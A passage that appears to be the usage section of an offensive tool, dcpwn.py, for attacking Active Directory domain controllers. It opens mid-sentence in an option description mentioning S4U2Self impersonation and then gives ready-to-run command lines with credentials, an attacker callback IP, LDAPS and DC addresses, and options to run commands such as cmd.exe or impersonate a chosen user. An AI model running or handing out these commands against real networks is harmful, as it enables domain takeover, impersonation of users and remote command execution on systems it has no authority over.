                        target username that will be impersonated (thru
                        S4U2Self) for quering the ST. Keep in mind this will
                        only work if the identity provided in this scripts is

  --debug               Enable debug output

example:

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target

If you want to execute some command like cmd.exe. use --command

example:

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --command 'cmd.exe'

If you want to impersonate specified user, use --impersonate

sudo python dcpwn.py -u user -p pass -d domain.com --callback-ip attackterip --ldaps ldapsip --dc-ip DCip -t target --impersonate someone
